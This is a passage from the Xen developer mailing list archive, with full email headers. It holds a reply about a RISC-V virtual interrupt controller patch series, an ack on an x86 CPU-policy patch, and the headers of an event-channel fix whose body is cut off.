X-Forwarded-Encrypted: i=1; AHgh+RpxEQbKpZm7JDKebmzVAxGLdAb+AzV1ZeVB5oKqObsMWzWtIU6aF9P476V1uO2U20x3+3DJElpuhG8=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyt2Ic4pM2lLFgUUDvAl3m0Lt9Hv4AqDBG66dUjfKG4WcC1v7Ko
	pV504GG/5hbnXmTTOigRocbJZ8FgARI6vVwWQ1/PSHsWESoFLOZe5uNViK8GLQ==
X-Gm-Gg: AR+sD12KoqvuuTImZXVDa3/bSwymAzV2eiaFr8ZxexczUlzmt+tHrwD2DF1x80b0QPv
	v0WimR8Ne4oONFvEj9h8y3VEPuw06IVMhCRMC6qkAQWLNwo7SiE9xJs5n+DcTBQv0jqdy/xA/5D
	1c6OPxdx4q1XL3Ncph5Ds9w/6tpAljVuIy+KQVMASw9eaELcTyUoSUJY5ZyPKO3ll5oa+j9wpIh
	FyqcffC5AiqKReZ1lZ0jduwY5mBJ792mYVHFYUleuQxQju+Sfg3ymT2Tjhh2XB9h4e20eK64xc8
	FvT9fS/DSEbVQR/oKHrS1ZJjMoukSYwNVanUGv84rjvGxxf4Xq8jkAgUUg9FJKgBdeFgSk+zc7u
	cO/7F8Kp88cYYwZzn1m6iXm8yqvxfJhF2nNmP62oOYs0277xmWmgtF+Og8wvaZAypU4AeguCLtf
	OO+YEXaUQ2hyYh1v3ryCsrFzj87MNGXswMmVZsdgpbxe76l7VW8jUHGM6tVAMNluDkxJi27MTiz
	bOFTnXdNPPAd4aA2QgnjH7Xy7Bg7w6oDN8DPVgCUP4=
X-Received: by 2002:a05:6512:1387:b0:5b1:5ad4:8374 with SMTP id 2adb3069b0e04-5b2d02519c1mr1504693e87.42.1785332488438;
        Wed, 29 Jul 2026 06:41:28 -0700 (PDT)
Message-ID: <c4f9cef5-572e-4265-a51f-170ef0fc7f60@gmail.com>
Date: Wed, 29 Jul 2026 15:41:26 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 00/17] [RISC-V] virtual interrupt controller
 (vAPLIC/vIMSIC) support
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <29fcc402-f953-4b51-b077-729bb0e5b4e0@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <29fcc402-f953-4b51-b077-729bb0e5b4e0@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785332489-1BCD79EA-5018854F/10/73395122804
X-purgate-type: spam
X-purgate-size: 5384



On 7/27/26 5:21 PM, Jan Beulich wrote:
> On 20.07.2026 18:01, Oleksii Kurochko wrote:
>> Hi all,
>>
>> This series adds the initial virtual interrupt controller (vINTC) support
>> for RISC-V guests in Xen, based on the Advanced Interrupt Architecture
>> (AIA): a virtual APLIC (vAPLIC) in MSI mode backed by a virtual IMSIC
>> (vIMSIC) using hardware guest interrupt files.
>>
>> Rather than emulating APLIC in direct-delivery mode (which requires
>> trap-and-emulate for every interrupt and is costly), the series targets
>> IMSIC from the start. AIA lets a hart implement several "guest interrupt
>> files" (up to GEILEN), so external interrupts can be delivered to a vCPU
>> directly by hardware via the VGEIN field of hstatus, without a hypervisor
>> round-trip. Xen only has to emulate the APLIC MMIO programming interface
>> and route the guest's intent onto the physical MSI topology; interrupt
>> delivery itself stays in hardware.
>>
>> The work breaks down into a few logical blocks:
>>
>> Physical APLIC/AIA groundwork (patches 1-3)
>>    - Correctly track IRQ_DISABLED across runtime enable/disable and order
>>      the ->status update against the IMSIC CSR write.
>>    - Per-pCPU VGEIN (guest interrupt file) allocator: assign/release a
>>      hardware guest file to a vCPU and program hstatus.VGEIN.
>>    - Add the missing APLIC register offsets/masks needed by both the
>>      physical and virtual APLIC code (no functional change).
>>
>> Device-agnostic MMIO dispatch + vAPLIC emulation (patches 4-5)
>>    - A per-domain MMIO handler table modelled on Arm's framework, so
>>      emulated devices self-register their GPA ranges and the fault path
>>      stays agnostic via a single try_handle_mmio() entry point.
>>    - vAPLIC MMIO read/write emulation. Writes are gated by the domain's
>>      authorised-IRQ bitmap so a guest cannot touch interrupts it does not
>>      own, and TARGET writes are translated from virtual to physical
>>      hart/guest-file indices. Delegation (SOURCECFG.D) is not yet
>>      supported.
>>
>> vIMSIC guest interrupt files and state (patches 6-9)
>>    - Stage-2 map a vCPU's physical guest interrupt file to the fixed
>>      per-vCPU GPA page the guest expects at offset 0.
>>    - vcpu_aia_init(): assign a VGEIN, map its guest file and record the
>>      IMSIC state as a consistent unit.
>>    - IMSIC state save/restore (currently tracking which pCPU owns the
>>      guest file, needed because the pCPU id is part of the MSI address).
>>    - has_msi_support() helper to decide whether IMSIC state has to be
>>      saved/restored.
>>
>> vINTC state save/restore plumbing (patches 10-11)
>>    - vintc_state_{save,restore}() wrappers over new store/restore hooks in
>>      struct vintc_ops, and the vAPLIC implementation of those hooks. No
>>      callers are wired up yet; the context-switch calls arrive with vCPU
>>      context switch support.
>>
>> Trap and instruction emulation infrastructure (patches 12-17)
>>    - Extend the exception-table format with type/data fields and add
>>      EX_TYPE_TRAP_INFO so fixups can capture sepc/scause/stval.
>>    - riscv_vcpu_unpriv_read() (HLV/HLVX) to read guest memory/instructions
>>      safely, and riscv_vcpu_trap_redirect() to forward a synchronous trap
>>      back into the guest's VS-mode handler.
>>    - A guest page-fault handler that decodes the trapped load/store
>>      instruction (HTINST, or an unprivileged fetch as a fallback) and
>>      dispatches the MMIO access through try_handle_mmio().
>>
>> Note on versioning: the series is posted as v1 as a freshly split-out
>> series, but several patches carry v2/v3 changelogs because they were
>> previously circulated as part of a larger another patches [1] from which the
>> current depends.
>>
>> CI tests: https://gitlab.com/xen-project/people/olkur/xen/-/pipelines/2690874319
>>
>> [1] https://lore.kernel.org/xen-devel/cover.1784559209.git.oleksii.kurochko@gmail.com/T/#t
>>
>> Oleksii Kurochko (17):
>>    xen/riscv: manage IRQ_DISABLED flag in APLIC irq enable/disable
>>      callbacks
>>    xen/riscv: add basic VGEIN management for AIA guests
>>    xen/riscv: add missing APLIC register offsets, masks to asm/aplic.h
>>    xen/riscv: introduce device-agnostic MMIO emulation dispatch
>>    xen/riscv: implement virtual APLIC MMIO emulation
>>    xen/riscv: map IMSIC interrupt file for vCPUs
>>    xen/riscv: introduce vCPU AIA initialization
>>    xen/riscv: add IMSIC state save/restore
>>    xen/riscv: add helper to check APLIC MSI mode
>>    xen/riscv: introduce vintc_state_{save,restore}()
>>    xen/riscv: add vAPLIC state save/restore hooks
>>    xen/riscv: extend exception tables with type and data fields
>>    xen/riscv: add unprivileged guest memory read helper
>>    xen/riscv: add guest page fault handling stub
>>    xen/riscv: implement trap redirection to a guest
>>    xen/riscv: add guest load emulation for trapped MMIO accesses
>>    xen/riscv: add guest store emulation for trapped MMIO accesses
> 
> Where did the last two patches go? My inbox agrees with [1] that only 15 of the
> 17 patches arrived.
> 
They lost for some reason, I sent them separately again. Now it should 
be okay.
> [1] https://lists.xen.org/archives/html/xen-devel/2026-07/threads.html



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:00:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:00:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375971.1622964 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4pq-0002dr-7z; Wed, 29 Jul 2026 14:00:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375971.1622964; Wed, 29 Jul 2026 14:00:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4pq-0002dk-4d; Wed, 29 Jul 2026 14:00:38 +0000
Received: by outflank-mailman (input) for mailman id 1375971;
 Wed, 29 Jul 2026 14:00:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp4pp-0002de-F7
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:00:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp4po-00AYav-Rg
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:00:36 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6a0779-bab6-0a2a0a5309dd-0a2a4503be22-40
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:00:36 +0200
Received: from [40.107.209.59]
 (helo=PH8PR06CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6a0783-fae8-0a2a45030019-286bd13b6690-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:00:36 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by SAWPR03MB989572.namprd03.prod.outlook.com (2603:10b6:806:55a::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.13; Wed, 29 Jul
 2026 14:00:33 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 14:00:32 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=BeSnPXA7dhuTv33afgtiH/ivPLv40Zrz6z5+TUcYFcNG6kx15ACMDZio9azBWkvWK3Qm0l5PhuYvmtvPA4RwvcSudZ6W3rS05BIivBgqXNggAxkUh5FpHUFE7EIBkZDo/guj13zXkI+/CypfqJG31UTIL2XzCPGEsJF+rjAUeKyq06SSMB/o2r3e0MvOYG2tA/BKDSkFGlF6O6fRZrQLyUmzl5Kz5lgk2mgwMl2JSMP7ThzemLgslVGSZ1IsbeQLbV4tRh4Q2zSJ60vVvDMYfnImovZTDIY30ByKnb8hXw8U5DaaI5XW75UZ7qlxtj6gTucK5PrQQNwSKmqhp8sQJQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ave1qZswxRkOqiXb8vxI8HtgqORTJHvHmqmx4Jv+D4w=;
 b=UqfXJKShaf4AODRjCj8cSRAG3ynVOCUpltAAE6qS0io8irdLCviEsA14BoM202Fp5sBT39sNJ5TmllD5XsnKNdWuxwC5dpIj1h69wZ+/Y3wzDz4QlAVSyeisudmxULUERz2/klKkZ2i0m2uA624YjMrPXNNcYVSYWIrKjIC5fhxNwVAR6Uj1sjjpMSGXRGaYPdSRT3nMtpfibTKRfkuMmc3FIuqT56ZMruMnF78pqfJLEnxl/HXOQS6UlIFXa8HsjbewExk6o8/q5XIbski70QVABxjvz6+W+Za94ZJnWfZctC/nTSnRS2evVhFz4tjrIupqsU2GqhOQ40GAf+GdLA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ave1qZswxRkOqiXb8vxI8HtgqORTJHvHmqmx4Jv+D4w=;
 b=PfCIx+hlWjzq5mTDige+zc8kYR6m4Hz400hMfHlk/GDiP8PUwCAh67pyT4ZeKW1trklCyZ4RX67bz+CAcuMzTram5fM18KdmrI4+Fpbe//swGSHXIl7w0e84ccBL6M+sx6p/tbeeC8R7yZL47UzC02Ack4MTusfwfJR2pKXd1eE=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <b75026d3-c129-4aee-baf4-17203ab46e26@citrix.com>
Date: Wed, 29 Jul 2026 15:00:29 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v3 for-4.22] x86/cpu-policy: set up host policy earlier
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <da502f31-17fa-4b2d-90e3-1f6988717454@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYE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yRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <da502f31-17fa-4b2d-90e3-1f6988717454@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0096.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:191::11) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|SAWPR03MB989572:EE_
X-MS-Office365-Filtering-Correlation-Id: 5b50b869-05fe-4407-98f9-08deed79c18d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|366016|23010399003|56012099006|11063799006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	Ml8EgQGXLte4vJPblEdjzFtWdr8Oawc4Mc0Hz2Kp0jMpmGTFQJ/VwqsZ3tR5Hr83CGfROsP2OT2rpKhg+Bx4nfeISzWJmFBqSpaWAMg93cDF0sh8rmb80t7SRGseYCUtAe28QDrbM027c7Sx1l0Krh+LHjoINHEGtEJuDr29ltTmJRfJZ5yklZs62EyhUtq5hWlA1TUPzoXK9UPfufXwbGu9f7kXtcEKrkvKMKNBTXB6QJzJYcUHwlvGPXyTJjFmania7iGmfqMJYvXKayDGbXOAJbZ875nLQ8ijiOuzxrms+tw/uZtDX5PelvQPCvJR+omvIDiINmctuG6hZtnU48trHM0LKt4PK1ujDeJllu1UKJ5NqXginPiDQiMBAo9X+QnxKKq3z/TJpScl3FK+Y1bdk5F2eRGLTcTzy2tKsTjyS6t6dsO+1VPYkUVgmnLgHPxsT+XgRH7rmPXDePUTJ+zas71TnItfEkbl6Xa0nqaV1Ug77Dkc0bgW1fZBpSQ4nApNw/DxrsMT68y6/9gRV7K1EdPZ17cJNC6SXzLr4VRS9eblWTsAX2keFi9fCBBw3NhDq16sgO44S3ltmxaXm7o5TDg04FFi8XUFmMHjbq51ECgxnjfACnJ6Maaqq6GhPlIkMnCL5cV++iCeMBQppluSxY684zdh4SQXpp1XtmE=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(366016)(23010399003)(56012099006)(11063799006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?Um9pYmFrNXRjSnQ1UDdJbUxoZDdISlo4RmpZZjc0M04vRFFIUFNwdGorTVhQ?=
 =?utf-8?B?ZFNRVkpnRzRnMUhRQ0UwdFQxQ05SZDJjQnMyOFBIRllWOUZiN201TG90czFm?=
 =?utf-8?B?ZWlRVmV2VE1yOUdaRHhHUTl1WkkxTHpCa1ZWV0srM3NSbkRoSWQ1TnQyNHRm?=
 =?utf-8?B?RnFVdjNEcmpTbzVnWDhuOXR3VGJMa28wWmZ1eVFRMVg5cUJSMjdaSy9jOXF0?=
 =?utf-8?B?Vyt0NWIzUzMrYTVUUi81aDJUNXhJUDUrSHV4UWxMaHhGbzJkbENOTFVYVUs4?=
 =?utf-8?B?am5qV2ptUlVRb1NBdzZDR3Q1c1hCN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Wajd0V0s4aE8wdElIU0R4dXpPMUNVTTlFYzBoVURLZHptQzFV?=
 =?utf-8?B?RE1wa1JJZUtmdloxZDhKZ3I2N25JRWlRQ2FSSHI3TDVEMWxsUytvT3lwUmQ5?=
 =?utf-8?B?enZ2WE5JVCt5SC9GZ2FPS29kd2hUck42RTRKRlZPYUlTaDAyRlkyc2JqU2hr?=
 =?utf-8?B?ZHpnc04wNjRtRjdLV0xQS3RpdzRIVFgveXE1OXRLaWNaNHpZNGE2dFBLV1Jm?=
 =?utf-8?B?YnFSK3UzbjZFaC9LQnp6YkRJeHoxckRhZ1ZlRW9MZ0JsUXVsbk0rbkhpMkdl?=
 =?utf-8?Q?llhWb1FQ3tOEBMbI=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5b50b869-05fe-4407-98f9-08deed79c18d
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 14:00:32.9013
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Iz523lvY/EBJp2g3W3ztgYczoBC2rJtnZ1AcDFQvpkdzj9sCqK80/C7tkMmFGnB2T2xnTBXYwKQiGZOzRzRzwfRnglUgLpcJ6ZKKbhMiJDo=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SAWPR03MB989572
X-purgate-ID: tlsNG-33051d/1785333636-778C54E9-38AD36D5/10/73395122804
X-purgate-type: spam
X-purgate-size: 863

On 08/07/2026 3:55 pm, Jan Beulich wrote:
> In order to use cpu_has_* expanding to host_cpu_policy.*, the host policy
> needs setting up alongside boot_cpu_data.x86_capability[]. Arrange for
> that towards the end of identify_cpu(). Then make sure .x86_capability[]
> and host policy remain in sync when setup_{force,clear}_cpu_cap() are
> used.
>
> Rename the function now it's no longer static.
>
> Fixes: 894bd7617924 ("x86/Intel: use host CPU policy for ARAT checking")
> Reported-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>

I really really dislike this patch, but I can't come up with a better
solution in the 0 time we have until the 4.22 release.


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:13:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:13:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376000.1622985 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp51v-0004kt-Cn; Wed, 29 Jul 2026 14:13:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376000.1622985; Wed, 29 Jul 2026 14:13:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp51v-0004km-A2; Wed, 29 Jul 2026 14:13:07 +0000
Received: by outflank-mailman (input) for mailman id 1376000;
 Wed, 29 Jul 2026 14:13:06 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wp51u-0004kf-IC
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:13:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp51t-007tFy-V2
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:13:05 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a6a0a5a-2eae-0a2a0a5409dd-0a2a4504edaa-40
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:13:05 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a6a0a71-b57f-0a2a45040019-c387df83b358-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:13:05 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id DE7E83E08;
 Wed, 29 Jul 2026 14:12:56 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 9C97F779A1;
 Wed, 29 Jul 2026 14:12:56 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id TNflJGgKampuJwAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 29 Jul 2026 14:12:56 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785334381; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=PzcBAV0niX1QSCV+ZrT4H7Zx6/xF1w51Zr20c1YgxiY=;
	b=l3aeot7AK4dBgQAr3Qu1dKsD36zmHJ/BJq1YL6wXwI7VSog5y+dPVaa7lPqq8dgnrvLYrJ
	o8GIqdxNhBMtHWEE3EOgixCPswr3SSIIZxt0Otj3HLOarlZD/XD7z1gAKiVMagVhqUDx6K
	tIBH4xGeLLdEkONVyg1iqMQuUjA+zMw=
Authentication-Results: smtp-out2.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=KlxMSZTM
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785334376; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=PzcBAV0niX1QSCV+ZrT4H7Zx6/xF1w51Zr20c1YgxiY=;
	b=KlxMSZTMEjHCxQNE7NsbzrSmN/HPyjzkv6nvxiOwRFSNrHhUtuKSYMFziRHDNa4EdjanOl
	Z22zPgbVD1KHXnmddQLG9UHpDIEWm7/McWo75C4Gnu+DdvF5gYW5axXjGlUEC4RviD+jr3
	4lcW72a8IeG1XZNQcLNF6R0EAZwFDNY=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH] xen/evtchn: fix wrong usage of array_index_nospec()
Date: Wed, 29 Jul 2026 16:12:54 +0200
Message-ID: <20260729141254.345989-1-jgross@suse.com>
X-Mailer: git-send-email 2.55.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:rdns,imap1.dmz-prg2.suse.org:helo,suse.com:email,suse.com:mid,suse.com:dkim];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
